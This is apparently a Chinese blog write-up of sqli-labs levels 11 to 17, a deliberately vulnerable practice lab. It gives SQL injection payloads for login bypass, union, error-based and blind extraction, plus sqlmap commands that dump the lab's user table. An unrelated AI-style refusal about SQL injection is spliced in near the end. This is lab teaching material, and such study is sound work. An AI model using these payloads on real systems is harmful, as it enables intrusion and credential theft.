sqli-labs基础篇 第11~17关

本文详细介绍了多种SQL注入攻击方法,包括基于错误的POST单引号字符型注入、双引号字符型注入、单引号双注入变形、时间盲注等。通过手动构造payload和使用sqlmap工具,展示了如何判断注入点、爆库、爆表及数据,以及应对布尔型时间盲注的策略。同时,文章揭示了SQL注入的防御对于Web安全的重要性。
摘要由CSDN通过智能技术生成

开始时间2023-1-13

【第十一关】基于错误的POST单引号字符型注入

Ⅰ 判断注入点

image.png
输入错误,显示failed
输入正确,显示successful
注入以下测试sql,报错“** 1’ limit 0,1** ”

username:1'
password:112

image.pngimage.png

(1)推断

传输参数为uname + passwd
post传输
单引号注入

Ⅱ 注入开始

注入方式1-标准

根据上面的分析,构建下playload
接下来的注入,跟第一关的一样

uname=-1' union select 1,database() #& passwd=

image.png

注入方式2-万能公式

看到这里,如果源码的登录sql是写成下面这样的,可以直接使用sql注入的万能句子

username='$name' and password= '$pass'

万能句子

usename:1' or 1=1 #
password:随便输入

-- 解析,注入进去,源码执行的语句是
username=' 1' or 1=1 #' and password = '$pass'
-- 最终执行语句,无论如何,这句话都是成立的,所以登录进去
username='1' or 1=1 

image.png

注入方式3

利用sqlmap,一步得出(感觉超爽)
回显数据库

python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" --dbs
爆表名
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" -D security --tables --batch

爆列表名

python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" -D security -T users -columns  --batch

爆数据

python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" -D security -T users -C 'id,password,username' --dump  --batch

【第十二关】基于错误的POST双引号字符

Ⅰ 判断注入点

username= \ & password=  -- 报错:'1") LIMIT 0,1'

image.png

推断

双引号注入
闭合

Ⅱ 正常注入

palyload

uname=-1") union 1,database() # &passwd= &submit=Submit

参考第十一关

【第十三关】基于POST单引号双注入变形

Ⅰ 判断注入点

username= \
passwd=  
-- 提交

报错信息出来了,是单引号+单闭合
image.png

Ⅱ 常规注入

(1)判断回显
-1')  union select 1,2,3 #	-- false

image.png

(2)爆数据库

发现只显示登录成功,而不显示执行结果,两种办法解决

  • 报错注入
  • 延时注入
-1')  union select 1,database() #

image.png

1')  and extractvalue('~', concat('~',(select database() ) ) )  #

image.png
跟第五关方法一致

(3)爆数据
1')  and extractvalue('~', concat('~',(select concat_ws('~',username,password) from security.users limit 0,1) ) )  #

image.png

Ⅲ 万能公式

不知道账号密码情况下,直接登录网站

username= 1') or 1=1 #
password=

Ⅳ sqlmap注入

python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-13 --data "uname=1&passwd=11&submit=Submit" --dbs --batch

【第十四关】基于POST双引号双注入变形

Ⅰ 判断注入点

username=1\
password=

双引号注入
image.png

Ⅱ sqlmap

python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-14/index.php --data "uname=1&passwd=11&Submit=submit" --dbs --batch

image.png
需要提高注入深度等级

-- 在sql语句中添加这个
--level=5 --risk=3 

Ⅲ 常规注入

具体步骤和第十三关一样的解法,在这里,我就直接放最后的注入结果

1"  and extractvalue('~', concat('~',(select concat_ws('~',username,password) from security.users limit 0,1) ) )  #

image.png

【第十五关】基于POST单引号布尔型时间盲注

万能注入可以
image.png

Ⅰ 判断注入点

测试注入点,以下的都没有回显sql执行消息,只有登录失败

1' and 1=1 #
1' and 1=2 #
\

image.png
数字型注入全是登录失败,有点问题,采用字符型注入试一下

admi  失败
admi'  失败
admi' # -- 失败,单引号+注释
admin' # -- 成功

推测

  • 注入点:单引号
  • 不回显执行信息,只能通过延时注入或者ASCILL注入

Ⅱ 常规注入

看了一些解读,都是用usename=admin’ # & passwd=12&submit=Submit
但我用其他字符替代admin,就无法执行sql语句,例如 下面这一条句子,就不可以使用

usename=admin' order by 2#&passwd=12&submit=Submit  -- 成功登录
usename=1'  order by 2#&passwd=12&submit=Submit     -- 失败
usename=asdb'  order by 2#&passwd=12&submit=Submit  -- 失败

用admin注入,admin是该靶场的测试账号密码之一,可行,不过不推荐用手动注入的方法,很麻烦

Ⅲ sqlmap

python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-15/ --data "uname=1&passwd=11&Submit=submit" --dbs --batch --level=5 --risk=3

image.png

【第十六关】基于POST双引号布尔型时间盲注

Ⅰ 判断注入点

先找注入点,但是试了前面一些常规方法,都没显示出来

(1)源码解析
	$uname='"'.$uname.'"';
	$passwd='"'.$passwd.'"'; 
	@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

推断:双引号+单闭合 注入
测试,只在username框上填写

1") #   -- 失败
asd") # -- 失败
admin") # -- 成功

Ⅱ 万能sql语句

1") or 1=1#

Ⅲ 常规注入

(1)爆列数
--报错
uname=admin") order by 3#&passwd=&submit=Submit
-- 正常登录
uname=admin") order by 2#&passwd=&submit=Submit 
(2)爆回显
-- 成功登录
uname=admin") union select 1,2#&passwd=&submit=Submit

-- 报错
uname=admin") union select 1,2,3#&passwd=&submit=Submit

常规的布尔注入 参考他人博客

Ⅳ sqlmap注入

python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-16/ --data "uname=1&passwd=11&Submit=submit" --technique=T --dbs --level=5 --risk=3 --parse-errors 

评价:被延时注入恶心到了,sqlmap注入也挺耗时间的
跑了几分钟的sqlmap,才得到一些数据
image.png
途中还出现了sqlmap报错

报错信息:sqlmap identified the following injection points with a total of 0 HTTP(s) requests

添加两条句子

--parse-errors --technique=T

【第十七关】

Ⅰ 判断注入点

输入常规的测试sql,例如\,都显示”BUG OFF YOU SILIY DUMB HACKER“
推测:存在过滤
image.png
数字型注入不行,试一下字符型
账号输入admin,发现登录进去了
账号密码都输入admin,也进去了,没有反馈具体自行信息
image.png

输入admin,密码输入  \,报错,说明注入点在密码这里

image.png
在输入一些注入sql,如123’ union 1,database(),不回显执行信息
推测

  • 密码框
  • 单引号
  • 注入方式
    • 报错注入
    • 延时注入

Ⅱ 源码分析

Ⅲ 报错注入

在这里,用extractvalue 或者updatexml,都是一样的,最大的区别是updatexml多了一个参数

(1)查看列表
-- 分别在username和password的输入框输入
admin
1' order by 2#
(2)爆数据库
' and extractvalue(null,concat(0x7e,database(),0x7e))#

(3)爆表名

结果:emails,referers,uagents,users

1' and extractvalue('anything',concat( '~', (select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))#  

(4)爆字段

id,password,username

1' and extractvalue('anything',concat( '~', (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'))#  

(5)爆数据
1' and extractvalue('anything',concat( 0x7e, (select group_concat(id,username,password) from users)))# 

报错,提示如下

You can’t specify target table ‘users’ for update in FROM clause 1

image.png

这个报错主要是因为不能在筛选数据的同时,进行数据更新,外面可以用临时表的方法,实现数据筛选和数据更新

123' and extractvalue(1,concat(0x7e,(select concat(id,' ',password,username) from (select id,password,username from users limit 0,1)a)))#

image.png

Ⅳ sqlmap注入

python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-17/ --data "uname=admin&passwd=password&submit=Submit" --current-db --threads 8 --technique E

image.png

很抱歉,我无法回答你的问题。因为你提供的引用内容似乎包含了一些与SQL注入攻击相的信息,这是一个违反用户隐私和信息安全的行为。我不能为你提供任何与此相的信息或支持。请记住在使用任何技术或工具时要遵守法律和道德规范,以确保您的行为合法和合理。如果您有其他非攻击性的问题,我将很乐意为您提供帮助。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [sqli-labs第十五](https://blog.csdn.net/yuqnqi/article/details/130575295)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [jeakinscheung-sqli-labs-php7-master.zip](https://download.csdn.net/download/weixin_42545836/12250964)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [sqli-labs(15)](https://blog.csdn.net/jimggg/article/details/104981616)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值